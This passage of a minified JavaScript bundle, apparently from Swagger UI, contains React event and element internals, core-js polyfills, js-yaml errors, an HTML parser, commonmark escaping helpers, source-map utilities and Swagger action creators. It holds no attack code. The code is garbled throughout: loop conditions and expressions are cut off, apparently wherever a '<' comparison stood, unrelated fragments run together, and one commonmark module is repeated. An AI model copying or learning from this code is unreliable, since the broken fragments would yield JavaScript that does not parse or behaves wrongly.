n(e){this.message=e,n.__super__.constructor.call(this),this.stack=this.toString()+"\n"+(new Error).stack.split("\n").slice(1).join("\n")}return t(n,e),n.prototype.toString=function(){return this.message},n}(Error),this.MarkedYAMLError=function(e){function n(e,t,r,i,o){this.context=e,this.context_mark=t,this.problem=r,this.problem_mark=i,this.note=o,n.__super__.constructor.call(this)}return t(n,e),n.prototype.toString=function(){var e;return e=[],null!=this.context&&e.push(this.context),null==this.context_mark||null!=this.problem&&null!=this.problem_mark&&this.context_mark.line===this.problem_mark.line&&this.context_mark.column===this.problem_mark.column||e.push(this.context_mark.toString()),null!=this.problem&&e.push(this.problem),null!=this.problem_mark&&e.push(this.problem_mark.toString()),null!=this.note&&e.push(this.note),e.join("\n")},n}(this.YAMLError)}).call(this)},function(e,t,n){e.exports=!n(55)(function(){return 7!=Object.defineProperty({},"a",{get:function(){return 7}}).a})},function(e,t,n){"use strict";function r(e,t,n){return n?[e,t]:e}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r,e.exports=t.default},function(e,t){function n(e){return null!=e&&"object"==typeof e}e.exports=n},function(e,t,n){"use strict";function r(e,t,n,r){this.dispatchConfig=e,this._targetInst=t,this.nativeEvent=n;var i=this.constructor.Interface;for(var o in i)if(i.hasOwnProperty(o)){var s=i[o];s?this[o]=s(n):"target"===o?this.target=r:this[o]=n[o]}var u=null!=n.defaultPrevented?n.defaultPrevented:!1===n.returnValue;return this.isDefaultPrevented=u?a.thatReturnsTrue:a.thatReturnsFalse,this.isPropagationStopped=a.thatReturnsFalse,this}var i=n(13),o=n(70),a=n(33),s=(n(10),["dispatchConfig","_targetInst","nativeEvent","isDefaultPrevented","isPropagationStopped","_dispatchListeners","_dispatchInstances"]),u={type:null,target:null,currentTarget:a.thatReturnsNull,eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null};i(r.prototype,{preventDefault:function(){this.defaultPrevented=!0;var e=this.nativeEvent;e&&(e.preventDefault?e.preventDefault():"unknown"!=typeof e.returnValue&&(e.returnValue=!1),this.isDefaultPrevented=a.thatReturnsTrue)},stopPropagation:function(){var e=this.nativeEvent;e&&(e.stopPropagation?e.stopPropagation():"unknown"!=typeof e.cancelBubble&&(e.cancelBubble=!0),this.isPropagationStopped=a.thatReturnsTrue)},persist:function(){this.isPersistent=a.thatReturnsTrue},isPersistent:a.thatReturnsFalse,destructor:function(){var e=this.constructor.Interface;for(var t in e)this[t]=null;for(var n=0;n1?t-1:0),i=1;i2?n-2:0),o=2;o=n?e:e.length+1===n?""+t+e:""+new Array(n-e.length+1).join(t)+e},this.to_hex=function(e){return"string"==typeof e&&(e=e.charCodeAt(0)),e.toString(16)}}).call(this)}).call(t,n(16))},function(e,t,n){var r=n(77);e.exports=function(e){if(!r(e))throw TypeError(e+" is not an object!");return e}},function(e,t){var n=e.exports={version:"2.5.5"};"number"==typeof __e&&(__e=n)},function(e,t,n){var r=n(138),i=n(370);e.exports=n(106)?function(e,t,n){return r.f(e,t,i(1,n))}:function(e,t,n){return e[t]=n,e}},function(e,t,n){"use strict";var r=n(744),i=Math.max;e.exports=function(e){return i(0,r(e))}},function(e,t,n){function r(e){return null==e?void 0===e?u:s:l&&l in Object(e)?o(e):a(e)}var i=n(82),o=n(912),a=n(941),s="[object Null]",u="[object Undefined]",l=i?i.toStringTag:void 0;e.exports=r},function(e,t,n){function r(e,t){var n=o(e,t);return i(n)?n:void 0}var i=n(873),o=n(913);e.exports=r},function(e,t,n){function r(e){return a(e)?i(e):o(e)}var i=n(406),o=n(876),a=n(86);e.exports=r},function(e,t,n){"use strict"},function(e,t,n){"use strict";var r=n(11),i=(n(8),function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)}),o=function(e,t){var n=this;if(n.instancePool.length){var r=n.instancePool.pop();return n.call(r,e,t),r}return new n(e,t)},a=function(e,t,n){var r=this;if(r.instancePool.length){var i=r.instancePool.pop();return r.call(i,e,t,n),i}return new r(e,t,n)},s=function(e,t,n,r){var i=this;if(i.instancePool.length){var o=i.instancePool.pop();return i.call(o,e,t,n,r),o}return new i(e,t,n,r)},u=function(e){var t=this;e instanceof t||r("25"),e.destructor(),t.instancePool.length`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>",u="]",l=new RegExp("^(?:<[A-Za-z][A-Za-z0-9-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\"'=<>`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>|]|\x3c!----\x3e|\x3c!--(?:-?[^>-])(?:-?[^-])*--\x3e|[<][?].*?[?][>]|]*>|)","i"),c=/[\\&]/,p="[!\"#$%&'()*+,./:;<=>?@[\\\\\\]^_`{|}~-]",f=new RegExp("\\\\"+p+"|"+a,"gi"),h=new RegExp('[&<>"]',"g"),d=new RegExp(a+'|[&<>"]',"gi"),m=function(e){return 92===e.charCodeAt(0)?e.charAt(1):o(e)},v=function(e){return c.test(e)?e.replace(f,m):e},g=function(e){try{return r(i(e))}catch(t){return e}},y=function(e){switch(e){case"&":return"&";case"<":return"<";case">":return">";case'"':return""";default:return e}},_=function(e,t){return h.test(e)?t?e.replace(d,y):e.replace(h,y):e};e.exports={unescapeString:v,normalizeURI:g,escapeXml:_,reHtmlTag:l,OPENTAG:s,CLOSETAG:u,ENTITY:a,ESCAPABLE:p}},function(e,t){e.exports={}},function(e,t,n){var r=n(186),i=n(183);e.exports=function(e){return r(i(e))}},function(e,t,n){var r=n(183);e.exports=function(e){return Object(r(e))}},function(e,t){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},function(e,t,n){var r=n(32),i=n(64),o=n(137),a=n(207)("src"),s=Function.toString,u=(""+s).split("toString");n(63).inspectSource=function(e){return s.call(e)},(e.exports=function(e,t,n,s){var l="function"==typeof n;l&&(o(n,"name")||i(n,"name",t)),e[t]!==n&&(l&&(o(n,a)||i(n,a,e[t]?""+e[t]:u.join(String(t)))),e===r?e[t]=n:s?e[t]?e[t]=n:i(e,t,n):(delete e[t],i(e,t,n)))})(Function.prototype,"toString",function(){return"function"==typeof this&&this[a]||s.call(this)})},function(e,t,n){"use strict";var r=n(383)();e.exports=function(e){return e!==r&&null!==e}},function(e,t,n){"use strict";function r(e){return void 0===e||null===e}function i(e){return"object"==typeof e&&null!==e}function o(e){return Array.isArray(e)?e:r(e)?[]:[e]}function a(e,t){var n,r,i,o;if(t)for(o=Object.keys(t),n=0,r=o.length;n`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>",u="]",l=new RegExp("^(?:<[A-Za-z][A-Za-z0-9-]*(?:\\s+[a-zA-Z_:][a-zA-Z0-9:._-]*(?:\\s*=\\s*(?:[^\"'=<>`\\x00-\\x20]+|'[^']*'|\"[^\"]*\"))?)*\\s*/?>|]|\x3c!----\x3e|\x3c!--(?:-?[^>-])(?:-?[^-])*--\x3e|[<][?].*?[?][>]|]*>|)","i"),c=/[\\&]/,p="[!\"#$%&'()*+,./:;<=>?@[\\\\\\]^_`{|}~-]",f=new RegExp("\\\\"+p+"|"+a,"gi"),h=new RegExp('[&<>"]',"g"),d=new RegExp(a+'|[&<>"]',"gi"),m=function(e){return 92===e.charCodeAt(0)?e.charAt(1):o(e)},v=function(e){return c.test(e)?e.replace(f,m):e},g=function(e){try{return r(i(e))}catch(t){return e}},y=function(e){switch(e){case"&":return"&";case"<":return"<";case">":return">";case'"':return""";default:return e}},_=function(e,t){return h.test(e)?t?e.replace(d,y):e.replace(h,y):e};e.exports={unescapeString:v,normalizeURI:g,escapeXml:_,reHtmlTag:l,OPENTAG:s,CLOSETAG:u,ENTITY:a,ESCAPABLE:p}},function(e,t,n){"use strict";var r=n(13),i=n(490),o=n(1120),a=n(1121),s=n(93),u=n(1122),l=n(1123),c=n(1124),p=n(1128),f=s.createElement,h=s.createFactory,d=s.cloneElement,m=r,v=function(e){return e},g={Children:{map:o.map,forEach:o.forEach,count:o.count,toArray:o.toArray,only:p},Component:i.Component,PureComponent:i.PureComponent,createElement:f,cloneElement:d,isValidElement:s.isValidElement,PropTypes:u,createClass:c,createFactory:h,createMixin:v,DOM:a,version:l,__spread:m};e.exports=g},function(e,t,n){"use strict";function r(e){return void 0!==e.ref}function i(e){return void 0!==e.key}var o=n(13),a=n(53),s=(n(10),n(494),Object.prototype.hasOwnProperty),u=n(492),l={key:!0,ref:!0,__self:!0,__source:!0},c=function(e,t,n,r,i,o,a){var s={$$typeof:u,type:e,key:t,ref:n,props:a,_owner:o};return s};c.createElement=function(e,t,n){var o,u={},p=null,f=null;if(null!=t){r(t)&&(f=t.ref),i(t)&&(p=""+t.key),void 0===t.__self?null:t.__self,void 0===t.__source?null:t.__source;for(o in t)s.call(t,o)&&!l.hasOwnProperty(o)&&(u[o]=t[o])}var h=arguments.length-2;if(1===h)u.children=n;else if(h>1){for(var d=Array(h),m=0;m1){for(var g=Array(v),y=0;y=0||Object.prototype.hasOwnProperty.call(e,r)&&(n[r]=e[r]);return n}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t){var n={}.toString;e.exports=function(e){return n.call(e).slice(8,-1)}},function(e,t,n){var r=n(355),i=n(185);e.exports=Object.keys||function(e){return r(e,i)}},function(e,t){e.exports=function(e,t){return{enumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}},function(e,t,n){var r=n(45).f,i=n(56),o=n(21)("toStringTag");e.exports=function(e,t,n){e&&!i(e=n?e:e.prototype,o)&&r(e,o,{configurable:!0,value:t})}},function(e,t,n){"use strict";var r=n(634)(!0);n(349)(String,"String",function(e){this._t=String(e),this._i=0},function(){var e,t=this._t,n=this._i;return n>=t.length?{value:void 0,done:!0}:(e=r(t,n),this._i+=e.length,{value:e,done:!1})})},function(e,t,n){n(639);for(var r=n(25),i=n(57),o=n(74),a=n(21)("toStringTag"),s="CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList,DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement,MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList,SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList,TextTrackList,TouchList".split(","),u=0;u0?i(r(e),9007199254740991):0}},function(e,t,n){(function(e){function n(e){return Array.isArray?Array.isArray(e):"[object Array]"===v(e)}function r(e){return"boolean"==typeof e}function i(e){return null===e}function o(e){return null==e}function a(e){return"number"==typeof e}function s(e){return"string"==typeof e}function u(e){return"symbol"==typeof e}function l(e){return void 0===e}function c(e){return"[object RegExp]"===v(e)}function p(e){return"object"==typeof e&&null!==e}function f(e){return"[object Date]"===v(e)}function h(e){return"[object Error]"===v(e)||e instanceof Error}function d(e){return"function"==typeof e}function m(e){return null===e||"boolean"==typeof e||"number"==typeof e||"string"==typeof e||"symbol"==typeof e||void 0===e}function v(e){return Object.prototype.toString.call(e)}t.isArray=n,t.isBoolean=r,t.isNull=i,t.isNullOrUndefined=o,t.isNumber=a,t.isString=s,t.isSymbol=u,t.isUndefined=l,t.isRegExp=c,t.isObject=p,t.isDate=f,t.isError=h,t.isFunction=d,t.isPrimitive=m,t.isBuffer=e.isBuffer}).call(t,n(44).Buffer)},function(e,t,n){"use strict";function r(e){return"string"==typeof e&&i.test(e)}Object.defineProperty(t,"__esModule",{value:!0}),t.default=r;var i=/-webkit-|-moz-|-ms-/;e.exports=t.default},function(e,t){e.exports={Text:"text",Directive:"directive",Comment:"comment",Script:"script",Style:"style",Tag:"tag",CDATA:"cdata",Doctype:"doctype",isTag:function(e){return"tag"===e.type||"script"===e.type||"style"===e.type}}},function(e,t,n){var r=n(730),i=n(729);t.decode=function(e,t){return(!t||t<=0?i.XML:i.HTML)(e)},t.decodeStrict=function(e,t){return(!t||t<=0?i.XML:i.HTMLStrict)(e)},t.encode=function(e,t){return(!t||t<=0?r.XML:r.HTML)(e)},t.encodeXML=r.XML,t.encodeHTML4=t.encodeHTML5=t.encodeHTML=r.HTML,t.decodeXML=t.decodeXMLStrict=i.XML,t.decodeHTML4=t.decodeHTML5=t.decodeHTML=i.HTML,t.decodeHTML4Strict=t.decodeHTML5Strict=t.decodeHTMLStrict=i.HTMLStrict,t.escape=r.escape},function(e,t,n){"use strict";var r=n(79);e.exports=function(e){if(!r(e))throw new TypeError("Cannot use null or undefined");return e}},function(e,t,n){function r(t,n){return delete e.exports[t],e.exports[t]=n,n}var i=n(392),o=n(719);e.exports={Parser:i,Tokenizer:n(393),ElementType:n(112),DomHandler:o,get FeedHandler(){return r("FeedHandler",n(779))},get Stream(){return r("Stream",n(781))},get WritableStream(){return r("WritableStream",n(394))},get ProxyHandler(){return r("ProxyHandler",n(780))},get DomUtils(){return r("DomUtils",n(721))},get CollectingHandler(){return r("CollectingHandler",n(778))},DefaultHandler:o,get RssHandler(){return r("RssHandler",this.FeedHandler)},parseDOM:function(e,t){var n=new o(t);return new i(n,t).end(e),n.dom},parseFeed:function(t,n){var r=new e.exports.FeedHandler(n);return new i(r,n).end(t),r.dom},createDomStream:function(e,t,n){var r=new o(e,t,n);return new i(r,t)},EVENTS:{attribute:2,cdatastart:0,cdataend:0,text:1,processinginstruction:2,comment:1,commentend:0,closetag:1,opentag:2,opentagname:1,error:1,end:0}}},function(e,t,n){"use strict";function r(e,t){Error.call(this),this.name="YAMLException",this.reason=e,this.mark=t,this.message=(this.reason||"(unknown reason)")+(this.mark?" "+this.mark.toString():""),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=(new Error).stack||""}r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r.prototype.toString=function(e){var t=this.name+": ";return t+=this.reason||"(unknown reason)",!e&&this.mark&&(t+=" "+this.mark.toString()),t},e.exports=r},function(e,t,n){"use strict";var r=n(81);e.exports=new r({include:[n(400)],implicit:[n(834),n(827)],explicit:[n(819),n(829),n(830),n(832)]})},function(e,t){function n(e,t){return e===t||e!==e&&t!==t}e.exports=n},function(e,t){function n(e,t,n){if(t in e)return e[t];if(3===arguments.length)return n;throw new Error('"'+t+'" is a required argument.')}function r(e){var t=e.match(y);return t?{scheme:t[1],auth:t[2],host:t[3],port:t[4],path:t[5]}:null}function i(e){var t="";return e.scheme&&(t+=e.scheme+":"),t+="//",e.auth&&(t+=e.auth+"@"),e.host&&(t+=e.host),e.port&&(t+=":"+e.port),e.path&&(t+=e.path),t}function o(e){var n=e,o=r(e);if(o){if(!o.path)return e;n=o.path}for(var a,s=t.isAbsolute(n),u=n.split(/\/+/),l=0,c=u.length-1;c>=0;c--)a=u[c],"."===a?u.splice(c,1):".."===a?l++:l>0&&(""===a?(u.splice(c+1,l),l=0):(u.splice(c,2),l--));return n=u.join("/"),""===n&&(n=s?"/":"."),o?(o.path=n,i(o)):n}function a(e,t){""===e&&(e="."),""===t&&(t=".");var n=r(t),a=r(e);if(a&&(e=a.path||"/"),n&&!n.scheme)return a&&(n.scheme=a.scheme),i(n);if(n||t.match(_))return t;if(a&&!a.host&&!a.path)return a.host=t,i(a);var s="/"===t.charAt(0)?t:o(e.replace(/\/+$/,"")+"/"+t);return a?(a.path=s,i(a)):s}function s(e,t){""===e&&(e="."),e=e.replace(/\/$/,"");for(var n=0;0!==t.indexOf(e+"/");){var r=e.lastIndexOf("/");if(r<0)return t;if(e=e.slice(0,r),e.match(/^([^\/]+:\/)?\/*$/))return t;++n}return Array(n+1).join("../")+t.substr(e.length+1)}function u(e){return e}function l(e){return p(e)?"$"+e:e}function c(e){return p(e)?e.slice(1):e}function p(e){if(!e)return!1;var t=e.length;if(t<9)return!1;if(95!==e.charCodeAt(t-1)||95!==e.charCodeAt(t-2)||111!==e.charCodeAt(t-3)||116!==e.charCodeAt(t-4)||111!==e.charCodeAt(t-5)||114!==e.charCodeAt(t-6)||112!==e.charCodeAt(t-7)||95!==e.charCodeAt(t-8)||95!==e.charCodeAt(t-9))return!1;for(var n=t-10;n>=0;n--)if(36!==e.charCodeAt(n))return!1;return!0}function f(e,t,n){var r=d(e.source,t.source);return 0!==r?r:0!==(r=e.originalLine-t.originalLine)?r:0!==(r=e.originalColumn-t.originalColumn)||n?r:0!==(r=e.generatedColumn-t.generatedColumn)?r:(r=e.generatedLine-t.generatedLine,0!==r?r:d(e.name,t.name))}function h(e,t,n){var r=e.generatedLine-t.generatedLine;return 0!==r?r:0!==(r=e.generatedColumn-t.generatedColumn)||n?r:0!==(r=d(e.source,t.source))?r:0!==(r=e.originalLine-t.originalLine)?r:(r=e.originalColumn-t.originalColumn,0!==r?r:d(e.name,t.name))}function d(e,t){return e===t?0:null===e?1:null===t?-1:e>t?1:-1}function m(e,t){var n=e.generatedLine-t.generatedLine;return 0!==n?n:0!==(n=e.generatedColumn-t.generatedColumn)?n:0!==(n=d(e.source,t.source))?n:0!==(n=e.originalLine-t.originalLine)?n:(n=e.originalColumn-t.originalColumn,0!==n?n:d(e.name,t.name))}function v(e){return JSON.parse(e.replace(/^\)]}'[^\n]*\n/,""))}function g(e,t,n){if(t=t||"",e&&("/"!==e[e.length-1]&&"/"!==t[0]&&(e+="/"),t=e+t),n){var s=r(n);if(!s)throw new Error("sourceMapURL could not be parsed");if(s.path){var u=s.path.lastIndexOf("/");u>=0&&(s.path=s.path.substring(0,u+1))}t=a(i(s),t)}return o(t)}t.getArg=n;var y=/^(?:([\w+\-.]+):)?\/\/(?:(\w+:\w+)@)?([\w.-]*)(?::(\d+))?(.*)$/,_=/^data:.+\,.+$/;t.urlParse=r,t.urlGenerate=i,t.normalize=o,t.join=a,t.isAbsolute=function(e){return"/"===e.charAt(0)||y.test(e)},t.relative=s;var b=function(){return!("__proto__"in Object.create(null))}();t.toSetString=b?u:l,t.fromSetString=b?u:c,t.compareByOriginalPositions=f,t.compareByGeneratedPositionsDeflated=h,t.compareByGeneratedPositionsInflated=m,t.parseSourceMapInput=v,t.computeSourceURL=g},function(e,t,n){"use strict";function r(e){return"button"===e||"input"===e||"select"===e||"textarea"===e}function i(e,t,n){switch(e){case"onClick":case"onClickCapture":case"onDoubleClick":case"onDoubleClickCapture":case"onMouseDown":case"onMouseDownCapture":case"onMouseMove":case"onMouseMoveCapture":case"onMouseUp":case"onMouseUpCapture":return!(!n.disabled||!r(t));default:return!1}}var o=n(11),a=n(248),s=n(249),u=n(253),l=n(478),c=n(479),p=(n(8),{}),f=null,h=function(e,t){e&&(s.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e))},d=function(e){return h(e,!0)},m=function(e){return h(e,!1)},v=function(e){return"."+e._rootNodeID},g={injection:{injectEventPluginOrder:a.injectEventPluginOrder,injectEventPluginsByName:a.injectEventPluginsByName},putListener:function(e,t,n){"function"!=typeof n&&o("94",t,typeof n);var r=v(e);(p[t]||(p[t]={}))[r]=n;var i=a.registrationNameModules[t];i&&i.didPutListener&&i.didPutListener(e,t,n)},getListener:function(e,t){var n=p[t];if(i(t,e._currentElement.type,e._currentElement.props))return null;var r=v(e);return n&&n[r]},deleteListener:function(e,t){var n=a.registrationNameModules[t];n&&n.willDeleteListener&&n.willDeleteListener(e,t);var r=p[t];if(r){delete r[v(e)]}},deleteAllListeners:function(e){var t=v(e);for(var n in p)if(p.hasOwnProperty(n)&&p[n][t]){var r=a.registrationNameModules[n];r&&r.willDeleteListener&&r.willDeleteListener(e,n),delete p[n][t]}},extractEvents:function(e,t,n,r){for(var i,o=a.plugins,s=0;s0&&void 0!==arguments[0]?arguments[0]:{};return{type:g,payload:e}}function l(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){return!0};return{type:y,payload:e}}Object.defineProperty(t,"__esModule",{value:!0}),t.CLEAR_BY=t.CLEAR=t.NEW_AUTH_ERR=t.NEW_SPEC_ERR_BATCH=t.NEW_SPEC_ERR=t.NEW_THROWN_ERR_BATCH=t.NEW_THROWN_ERR=void 0,t.newThrownErr=r,t.newThrownErrBatch=i,t.newSpecErr=o,t.newSpecErrBatch=a,t.newAuthErr=s,t.clear=u,t.clearBy=l;var c=n(270),p=function(e){return e&&e.__esModule?e:{default:e}}(c),f=t.NEW_THROWN_ERR="err_new_thrown_err",h=t.NEW_THROWN_ERR_BATCH="err_new_thrown_err_batch",d=t.NEW_SPEC_ERR="err_new_spec_err",m=t.NEW_SPEC_ERR_BATCH="err_new_spec_err_batch",v=t.NEW_AUTH_ERR="err_new_auth_err",g=t.CLEAR="err_clear",y=t.CLEAR_BY="err_clear_by"},function(e,t,n){e.exports={default:n(612),__esModule:!0}},function(e,t,n){var r=n(54),i=n(348),o=n(346),a=n(38),s=n(132),u=n(198),l={},c={},t=e.exports=function(e,t,n,p,f){var h,d,m,v,g=f?function(){return e}:u(e),y=r(n,p,t?2:1),_=0;if("function"!=typeof g)throw TypeError(e+" is not iterable!");if(o(g)){for(h=s(e.length);h>_;_++)if((v=t?y(a(d=e[_])[0],d[1]):y(e[_]))===l||v===c)return v}else for(m=g.call(e);!(d=m.next()).done;)if((v=i(m,y,d.value,t))===l||v===c)return v};t.BREAK=l,t.RETURN=c},function(e,t){e.exports=!0},function(e,t,n){var r=n(133)("meta"),i=n(29),o=n(56),a=n(45).f,s=0,u=Object.isExtensible||function(){return!0},l=!n(55)(function(){return u(Object.preventExtensions({}))}),c=function(e){a(e,r,{value:{i:"O"+ ++s,w:{}}})},p=function(e,t){if(!i(e))return"symbol"==typeof e?e:("string"==typeof e?"S":"P")+e;if(!o(e,r)){if(!u(e))return"F";if(!t)return"E";c(e)}return e[r].i},f=function(e,t){if(!o(e,r)){if(!u(e))return!0;if(!t)return!1;c(e)}return e[r].w},h=function(e){return l&&d.NEED&&u(e)&&!o(e,r)&&c(e),e},d=e.exports={KEY:r,NEED:!1,fastKey:p,getWeak:f,onFreeze:h}},function(e,t){t.f={}.propertyIsEnumerable},function(e,t,n){var r=n(194),i=Math.min;e.exports=function(e){return e>0?i(r(e),9007199254740991):0}},function(e,t){var n=0,r=Math.random();e.exports=function(e){return"Symbol(".concat(void 0===e?"":e,")_",(++n+r).toString(36))}},function(e,t){e.exports=function(e){if("function"!=typeof e)throw TypeError(e+" is not a function!");return e}},function(e,t,n){var r=n(134);e.exports=function(e,t,n){if(r(e),void 0===t)return e;switch(n){case 1:return function(n){return e.call(t,n)};case 2:return function(n,r){return e.call(t,n,r)};case 3:return function(n,r,i){return e.call(t,n,r,i)}}return function(){return e.apply(t,arguments)}}},function(e,t,n){"use strict";var r=n(64),i=n(78),o=n(107),a=n(58),s=n(19);e.exports=function(e,t,n){var u=s(e),l=n(a,u,""[e]),c=l[0],p=l[1];o(function(){var t={};return t[u]=function(){return 7},7!=""[e](t)})&&(i(String.prototype,e,c),r(RegExp.prototype,u,2==t?function(e,t){return p.call(e,this,t)}:function(e){return p.call(e,this)}))}},function(e,t){var n={}.hasOwnProperty;e.exports=function(e,t){return n.call(e,t)}},function(e,t,n){var r=n(62),i=n(659),o=n(678),a=Object.defineProperty;t.f=n(106)?Object.defineProperty:function(e,t,n){if(r(e),t=o(t,!0),r(n),i)try{return a(e,t,n)}catch(e){}if("get"in n||"set"in n)throw TypeError("Accessors not supported!");return"value"in n&&(e[t]=n.value),e}},function(e,t){var n=Math.ceil,r=Math.floor;e.exports=function(e){return isNaN(e=+e)?0:(e>0?r:n)(e)}},function(e,t,n){var r=n(661),i=n(58);e.exports=function(e){return r(i(e))}},function(e,t,n){"use strict";var r,i=n(384),o=n(387),a=n(748),s=n(753);r=e.exports=function(e,t){var n,r,a,u,l;return arguments.length<2||"string"!=typeof e?(u=t,t=e,e=null):u=arguments[2],null==e?(n=a=!0,r=!1):(n=s.call(e,"c"),r=s.call(e,"e"),a=s.call(e,"w")),l={value:t,configurable:n,enumerable:r,writable:a},u?i(o(u),l):l},r.gs=function(e,t,n){var r,u,l,c;return"string"!=typeof e?(l=n,n=t,t=e,e=null):l=arguments[3],null==t?t=void 0:a(t)?null==n?n=void 0:a(n)||(l=n,n=void 0):(l=t,t=n=void 0),null==e?(r=!0,u=!1):(r=s.call(e,"c"),u=s.call(e,"e")),c={get:t,set:n,configurable:r,enumerable:u},l?i(o(l),c):c}},function(e,t,n){"use strict";e.exports=n(745)("forEach")},function(e,t){function n(){this._events=this._events||{},this._maxListeners=this._maxListeners||void 0}function r(e){return"function"==typeof e}function i(e){return"number"==typeof e}function o(e){return"object"==typeof e&&null!==e}function a(e){return void 0===e}e.exports=n,n.EventEmitter=n,n.prototype._events=void 0,n.prototype._maxListeners=void 0,n.defaultMaxListeners=10,n.prototype.setMaxListeners=function(e){if(!i(e)||e<0||isNaN(e))throw TypeError("n must be a positive number");return this._maxListeners=e,this},n.prototype.emit=function(e){var t,n,i,s,u,l;if(this._events||(this._events={}),"error"===e&&(!this._events.error||o(this._events.error)&&!this._events.error.length)){if((t=arguments[1])instanceof Error)throw t;var c=new Error('Uncaught, unspecified "error" event. ('+t+")");throw c.context=t,c}if(n=this._events[e],a(n))return!1;if(r(n))switch(arguments.length){case 1:n.call(this);break;case 2:n.call(this,arguments[1]);break;case 3:n.call(this,arguments[1],arguments[2]);break;default:s=Array.prototype.slice.call(arguments,1),n.apply(this,s)}else if(o(n))for(s=Array.prototype.slice.call(arguments,1),l=n.slice(),i=l.length,u=0;u0&&this._events[e].length>i&&(this._events[e].warned=!0,console.error("(node) warning: possible EventEmitter memory leak detected. %d listeners added. Use emitter.setMaxListeners() to increase limit.",this._events[e].length),"function"==typeof console.trace&&console.trace()),this},n.prototype.on=n.prototype.addListener,n.prototype.once=function(e,t){function n(){this.removeListener(e,n),i||(i=!0,t.apply(this,arguments))}if(!r(t))throw TypeError("listener must be a function");var i=!1;return n.listener=t,this.on(e,n),this},n.prototype.removeListener=function(e,t){var n,i,a,s;if(!r(t))throw TypeError("listener must be a function");if(!this._events||!this._events[e])return this;if(n=this._events[e],a=n.length,i=-1,n===t||r(n.listener)&&n.listener===t)delete this._events[e],this._events.removeListener&&this.emit("removeListener",e,t);else if(o(n)){for(s=a;s-- >0;)if(n[s]===t||n[s].listener&&n[s].listener===t){i=s;break}if(i<0)return this;1===n.length?(n.length=0,delete this._events[e]):n.splice(i,1),this._events.removeListener&&this.emit("removeListener",e,t)}return this},n.prototype.removeAllListeners=function(e){var t,n;if(!this._events)return this;if(!this._events.removeListener)return 0===arguments.length?this._events={}:this._events[e]&&delete this._events[e],this;if(0===arguments.length){for(t in this._events)"removeListener"!==t&&this.removeAllListeners(t);return this.removeAllListeners("removeListener"),this._events={},this}if(n=this._events[e],r(n))this.removeListener(e,n);else if(n)for(;n.length;)this.removeListener(e,n[n.length-1]);return delete this._events[e],this},n.prototype.listeners=function(e){return this._events&&this._events[e]?r(this._events[e])?[this._events[e]]:this._events[e].slice():[]},n.prototype.listenerCount=function(e){if(this._events){var t=this._events[e];if(r(t))return 1;if(t)return t.length}return 0},n.listenerCount=function(e,t){return e.listenerCount(t)}},function(e,t,n){"use strict";var r={};e.exports=r},function(e,t,n){"use strict";var r=n(81);e.exports=r.DEFAULT=new r({include:[n(117)],explicit:[n(825),n(824),n(823)]})},function(e,t,n){function r(e){var t=-1,n=null==e?0:e.length;for(this.clear();++t-1&&e%1==0&&e]/;e.exports=i},function(e,t,n){"use strict";var r,i=n(26),o=n(247),a=/^[ \r\n\t\f]/,s=/<(!--|link|noscript|meta|script|style)[ \r\n\t\f\/>]/,u=n(255),l=u(function(e,t){if(e.namespaceURI!==o.svg||"innerHTML"in e)e.innerHTML=t;else{r=r||document.createElement("div"),r.innerHTML=""+t+"";for(var n=r.firstChild;n.firstChild;)e.appendChild(n.firstChild)}});if(i.canUseDOM){var c=document.createElement("div");c.innerHTML=" ",""===c.innerHTML&&(l=function(e,t){if(e.parentNode&&e.parentNode.replaceChild(e,e),a.test(t)||"<"===t[0]&&s.test(t)){e.innerHTML=String.fromCharCode(65279)+t;var n=e.firstChild;1===n.data.length?e.removeChild(n):n.deleteData(0,1)}else e.innerHTML=t}),c=null}e.exports=l},function(e,t,n){"use strict";function r(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]="number"==typeof e[n]?e[n]:e[n].val);return t}t.__esModule=!0,t.default=r,e.exports=t.default},function(e,t,n){"use strict";e.exports=function(e,t){var n,r,i,o=-1,a=e.posMax,s=e.pos,u=e.isInLabel;if(e.isInLabel)return-1;if(e.labelUnmatchedScopes)return e.labelUnmatchedScopes--,-1;for(e.pos=t+1,e.isInLabel=!0,n=1;e.pos1&&void 0!==arguments[1])||arguments[1];return e=(0,s.normalizeArray)(e),{type:p,payload:{thing:e,shown:t}}}function a(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"";return e=(0,s.normalizeArray)(e),{type:c,payload:{thing:e,mode:t}}}Object.defineProperty(t,"__esModule",{value:!0}),t.SHOW=t.UPDATE_MODE=t.UPDATE_FILTER=t.UPDATE_LAYOUT=void 0,t.updateLayout=r,t.updateFilter=i,t.show=o,t.changeMode=a;var s=n(9),u=t.UPDATE_LAYOUT="layout_update_layout",l=t.UPDATE_FILTER="layout_update_filter",c=t.UPDATE_MODE="layout_update_mode",p=t.SHOW="layout_show"},function(e,t,n){"use strict";function r(e,t){return{type:u,payload:{selectedServerUrl:e,namespace:t}}}function i(e){var t=e.value,n=e.pathMethod;return{type:l,payload:{value:t,pathMethod:n}}}function o(e){var t=e.value,n=e.pathMethod;return{type:c,payload:{value:t,pathMethod:n}}}function a(e){var t=e.value,n=e.path,r=e.method;return{type:p,payload:{value:t,path:n,method:r}}}function s(e){var 